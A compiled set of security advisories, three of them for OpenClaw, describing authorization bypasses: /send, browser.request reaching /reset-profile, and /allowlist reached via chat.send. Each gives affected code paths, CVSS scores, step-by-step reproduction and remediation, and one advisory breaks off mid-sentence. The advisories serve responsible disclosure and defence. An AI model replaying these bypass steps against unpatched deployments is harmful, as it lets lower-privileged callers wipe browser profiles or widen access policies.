If there are any questions or comments about this advisory:

Send an email to [security@fleetdm.com](mailto:security@fleetdm.com)

Join #fleet in [[osquery Slack](https://join.slack.com/t/osquery/shared_invite/zt-h29zm0gk-s2DBtGUTW4CFel0f0IjTEw)](https://join.slack.com/t/osquery/shared_invite/zt-h29zm0gk-s2DBtGUTW4CFel0f0IjTEw)

### Credits

Fleet thanks@secfox-ai for responsibly reporting this issue.


OpenClaw: Non-owner command-authorized sender can change the owner-only `/send` session delivery policy

[Severity: MEDIUM]

> Fixed in OpenClaw 2026.3.24, the current shipping release.

**Title**
Non-owner command-authorized sender can change the owner-only `/send` session delivery policy

**CWE**
CWE-285 Improper Authorization

**CVSS v3.1**
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Base score: **5.4 (Medium)**

**Severity Assessment**
Medium. This is a real owner-only authorization bypass, but the demonstrated impact is limited to persistent mutation of the current session’s delivery policy rather than direct code execution, sandbox escape, or cross-host compromise.

**Impact**
A non-owner sender who is allowed to run commands can invoke `/send on|off|inherit` and persistently change the current session’s `sendPolicy`, even though OpenClaw documents `/send` as owner-only.

That lets a lower-trust participant:
- disable reply delivery for the current session (`/send off`), suppressing future replies in that chat;
- re-enable reply delivery (`/send on`) after the owner intentionally disabled it;
- remove the session override (`/send inherit`).

**Affected Component**
Verified against the latest published GitHub release tag `v2026.3.23` (`ccfeecb6887cd97937e33a71877ad512741e82b2`), published `2026-03-23T23:15:50Z`.

Exact vulnerable path on the shipped tag:
- `src/auto-reply/reply/commands-session.ts:212-239`
  - `handleSendPolicyCommand(...)` checks only `params.command.isAuthorizedSender`.
  - when true, it mutates `params.sessionEntry.sendPolicy` and persists the session entry.

Authorization behavior that makes this reachable:
- `src/auto-reply/command-auth.ts:401-407`
  - `senderIsOwner` is computed separately from general command authorization.
- `src/auto-reply/command-auth.ts:420-429`
  - command authorization can succeed even when `senderIsOwner === false`.
- `src/auto-reply/command-auth.owner-default.test.ts:10-47`
  - existing coverage confirms a sender can be command-authorized while not treated as owner.

Documented owner-only contract:
- `docs/tools/slash-commands.md:112`
  - `/send on|off|inherit` is documented as owner-only.
- `docs/concepts/session-tool.md:156`
  - `sendPolicy` is documented as settable via `sessions.patch` or owner-only `/send on|off|inherit`.

Related privilege model:
- `src/gateway/method-scopes.ts:131-133`
  - `sessions.patch` is admin-scoped, which reinforces that session-delivery-policy mutation is treated as privileged state.

Version history:
- The vulnerable handler exists in release history going back at least to commit `ea018a68ccb92dbc735bc1df9880d5c95c63ca35` (`refactor(auto-reply): split reply pipeline`).
- Earliest released affected tag found: `v2026.1.14-1`
- Latest released affected tag verified: `v2026.3.23`

**Technical Reproduction**
1. Check out the shipped release tag `v2026.3.23`.
2. Configure a channel where:
   - a non-owner sender is allowed to run commands, for example through `commands.allowFrom`;
   - the owner identity is distinct, for example via `commands.ownerAllowFrom`.
3. Start or reuse a session with a live `sessionEntry` and `sessionStore`.
4. Send `/send off` as the non-owner but command-authorized sender.
5. Confirm the resolved command context has:
   - `isAuthorizedSender === true`
   - `senderIsOwner === false`
6. Observe that the handler still accepts the command, mutates `sessionEntry.sendPolicy`, and persists the session entry.

**Demonstrated Impact**
The vulnerable handler performs a real persistent session-state change:
- `src/auto-reply/reply/commands-session.ts:232-238`
  - `/send inherit` deletes `sessionEntry.sendPolicy`
  - other modes assign `sessionEntry.sendPolicy = sendPolicyCommand.mode`
  - the handler then calls `persistSessionEntry(params)`

The mutation is not gated by owner status, only by general command authorization.

That changes subsequent delivery behavior for the current session, which matches the documented meaning of `sendPolicy`.

**Environment**
- Product: OpenClaw
- Verified shipped tag: `v2026.3.23`
- Shipped tag commit: `ccfeecb6887cd97937e33a71877ad512741e82b2`
- Published GitHub release time: `2026-03-23T23:15:50Z`
- Verification date: `2026-03-24`

**Duplicate Check**
Upon inspection there is no preexisting GHSA for `/send`.

This is distinct from:
- `GHSA-r7vr-gr74-94p8`
  - that advisory covered owner-only authorization bypasses for `/config` and `/debug`, not `/send`.

This is the same authorization class, but a different privileged command surface that still lacks the owner check.

**In Scope Check**
This report is in scope under `SECURITY.md` because:
- it does **not** rely on adversarial operators sharing one gateway host or config;
- it does **not** rely on trusted local state tampering;
- `SECURITY.md:151-152` explicitly says non-owner sender status matters for owner-only tools and commands;
- `/send` is explicitly documented as owner-only, so this is a direct owner-only authorization bypass, not a complaint about normal shared-agent steering.

This is therefore a concrete authorization flaw against a documented product boundary.

**Remediation Advice**
1. Change `/send` to require owner status, not just command authorization.
2. Reuse the same owner-only rejection pattern already used by privileged command surfaces such as `/config`, `/debug`, and owner-only `/plugins` writes.
3. Add regression coverage for the exact case where:
   - a non-owner sender is command-authorized;
   - `/send` must still be rejected unless `senderIsOwner === true`.
4. Verify that the owner can still use `/send on|off|inherit` normally.


OpenClaw: `browser.request` still allows `POST /reset-profile` through the `operator.write` surface

[Severity: HIGH]

> Fixed in OpenClaw 2026.3.24, the current shipping release.

# Title

`browser.request` still allows `POST /reset-profile` through the `operator.write` surface in OpenClaw `v2026.3.22` after `GHSA-vmhq-cqm9-6p7q`

## Severity Assessment

High

CWE:

- `CWE-863: Incorrect Authorization`

Proposed CVSS v3.1:

- `8.1` (`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H`)

An authenticated caller who only has access to the scoped Gateway method `browser.request` on the `operator.write` surface can still reach a destructive persistent-profile management route.

Likely related advisory family:

- `GHSA-vmhq-cqm9-6p7q`

This should be treated as a later-version residual or incomplete fix. The earlier fix blocked `POST /profiles/create` and profile deletion, but the latest released `v2026.3.22` code still omits `POST /reset-profile` from the same mutation gate.

## Impact

A caller with `operator.write` access to `browser.request` can still trigger persistent profile reset via `POST /reset-profile`.

This crosses the intended privilege boundary for browser profile management because the release already attempts to block adjacent persistent profile mutations on this same surface.

In practice, the allowed route reaches destructive behavior that can:

- stop the running browser for that profile
- close the Playwright browser connection for that profile
- move the profile's local `userDataDir` to Trash when it exists

This is a real integrity and availability impact on persistent browser state, not a route-classification mismatch with no side effects.

## Affected Component

Product:

- `openclaw`

Tested latest released version:

- release tag: `v2026.3.22`
- release tag target commit (peeled tag): `e7d11f6c33e223a0dd8a21cfe01076bd76cef87a`

Published artifact for that release:

- package: `openclaw-2026.3.22.tgz`
- package build-info commit: `4dcc39c25c6cc63fedfd004f52d173716576fcf0`
- package build-info timestamp: `2026-03-23T10:56:05.946Z`

Exact vulnerable paths on the shipped tag:

- `src/gateway/method-scopes.ts:114`
  - `browser.request` is placed on the `operator.write` surface
- `src/gateway/server-methods/browser.ts:155-165`
  - requests are only denied when `isPersistentBrowserProfileMutation(method, path)` returns true
- `src/browser/request-policy.ts:19-25`
  - the mutation classifier recognizes `POST /profiles/create` and `DELETE /profiles/:name`, but not `POST /reset-profile`
- `src/browser/routes/basic.ts:161-170`
  - the browser server exposes `POST /reset-profile`
- `src/browser/server-context.reset.ts:37-63`
  - `resetProfile()` stops the browser, closes the connection, and moves the local profile directory to Trash when present
- `src/node-host/invoke-browser.ts:240-243`
  - the same route-classification helper is reused in the browser proxy path when profile restrictions are active

Relevant regression coverage gap on the shipped tag:

- `src/gateway/server-methods/browser.profile-from-body.test.ts:104-140`
  - tests only block `POST /profiles/create` and `DELETE /profiles/:name`
  - there is no equivalent deny case for `POST /reset-profile`

Published artifact evidence for the exact released package:

- `openclaw-2026.3.22.tgz::package/dist/build-info.json`
- `openclaw-2026.3.22.tgz::package/dist/gateway-cli-Cxz4pSoJ.js:11469-11525`
- `openclaw-2026.3.22.tgz::package/dist/gateway-cli-Cxz4pSoJ.js:11484-11485`
- `openclaw-2026.3.22.tgz::package/dist/request-policy-nIRryZwZ.js:9-12`
- `openclaw-2026.3.22.tgz::package/dist/routes-CdaHRCET.js:6874-6889`

Important release note:

- the published package build-info commit differs from the release tag target commit
- for this issue, the relevant authorization and route behavior was cross-checked in both the shipped tag source and the published package bundle, and it matches semantically on the vulnerable path

## Technical Reproduction

A direct control/exploit pair can be reproduced against the latest released version.

Preconditions:

- use `openclaw@2026.3.22`
- authenticate as a caller that has access to the scoped Gateway method `browser.request`
- keep that caller on `operator.write`, not `operator.admin`
- ensure the target local browser profile exists

Reproduction steps:

1. Call `browser.request` with:
   - `method: "POST"`
   - `path: "/profiles/create"`
   - `body: { "name": "poc-profile" }`
2. Observe the control case is rejected with:
   - `browser.request cannot create or delete persistent browser profiles`
3. Call `browser.request` again with:
   - `method: "POST"`
   - `path: "/reset-profile"`
   - `body: { "profile": "poc-profile", "name": "poc-profile" }`
4. Observe that the exploit case is not rejected by the same handler.
5. Observe that the request is forwarded to the browser route/dispatcher, rather than being denied by the mutation classifier.
6. Observe that the reset route succeeds and applies profile reset behavior.

Why this happens in the released code:

- the release tries to gate persistent profile mutation using `isPersistentBrowserProfileMutation(...)`
- that helper does not classify `POST /reset-profile` as a protected mutation
- the exposed browser server route still maps `/reset-profile` to `profileCtx.resetProfile()`
- `resetProfile()` performs state-changing behavior on the selected local profile

## Demonstrated Impact

The shipped release shows the following behavior difference:

Control case:

- `POST /profiles/create`
- rejected before the request is dispatched to the browser control path

Exploit case:

- `POST /reset-profile`
- not classified as a blocked mutation
- remains reachable through the `browser.request` surface
- reaches `resetProfile()`, which performs destructive profile-management operations

The reached route has concrete side effects:

- stops the running browser if active
- closes the Playwright browser connection
- moves the profile's local `userDataDir` to Tra


OpenClaw: Gateway operator.write Can Reach Admin-Class Channel Allowlist Persistence via chat.send

[Severity: HIGH]

> Fixed in OpenClaw 2026.3.24, the current shipping release.

## Summary

The shared `/allowlist` command persists channel authorization config through `writeConfigFile(...)` but does not re-validate gateway client scopes for internal gateway callers. Because `chat.send` is intentionally reachable to `operator.write` callers and still creates a generic command-authorized internal context, an authenticated write-scoped gateway client can indirectly mutate channel `allowFrom` and `groupAllowFrom` policy that direct `config.patch` correctly reserves to `operator.admin`.

This is not just a generic code smell. The current code already shows the intended boundary by adding sink-side internal admin checks to shared `/config` and `/plugins` writes, but `/allowlist` was left behind.

## Details

The gateway's documented scope split is clear:

- `chat.send` is a write-scoped action.
- direct config mutation is an admin-scoped action.

The vulnerable path is:

1. A gateway client authenticates with `operator.write`.
2. The client calls `chat.send`, which is intentionally allowed for that scope.
3. `chat.send` builds an internal message context with `CommandAuthorized: true` and carries `GatewayClientScopes` into the reply pipeline.
4. `resolveCommandAuthorization(...)` converts that internal message into `isAuthorizedSender=true` in the common case where no stricter `commands.allowFrom` override is configured.
5. `/allowlist add|remove` accepts that generic command authorization and proceeds into its config-backed edit path.
6. The handler clones the parsed config, calls `plugin.allowlist.applyConfigEdit(...)`, validates the result, and persists it with `writeConfigFile(validated.config)`.
7. No sink-side check requires `operator.admin` before the persistent write occurs.

That creates a direct control-plane mismatch:

- `config.patch` rejects the same caller with `missing scope: operator.admin`.
- `/allowlist add dm ...` or `/allowlist add group ...` reached through `chat.send` can still rewrite channel authorization state.

## Impact

- A gateway client intentionally limited to `operator.write` can persist first-party channel authorization policy.
- The caller can widen DM or group allowlists for channels using the shared `/allowlist` plumbing.
- This weakens the repo's documented control-plane privilege split between ordinary write actions and admin-only persistent authorization mutation.

## Remediation

### 1) Add the Missing Sink-Side Internal Admin Check to `/allowlist`

Mirror the existing hardened pattern from `/config` and `/plugins`.

Before any config-backed `/allowlist add|remove` write, require:

- `operator.admin` for internal gateway channels

This should happen before `plugin.allowlist.applyConfigEdit(...)` and before `writeConfigFile(...)`.

### 2) Keep Pairing-Store and Config-Write Policy Checks, but Do Not Treat Them as Scope Enforcement

`configWrites` policy and pairing-store behavior are useful secondary controls, but they do not replace the missing privilege check between `operator.write` and `operator.admin`.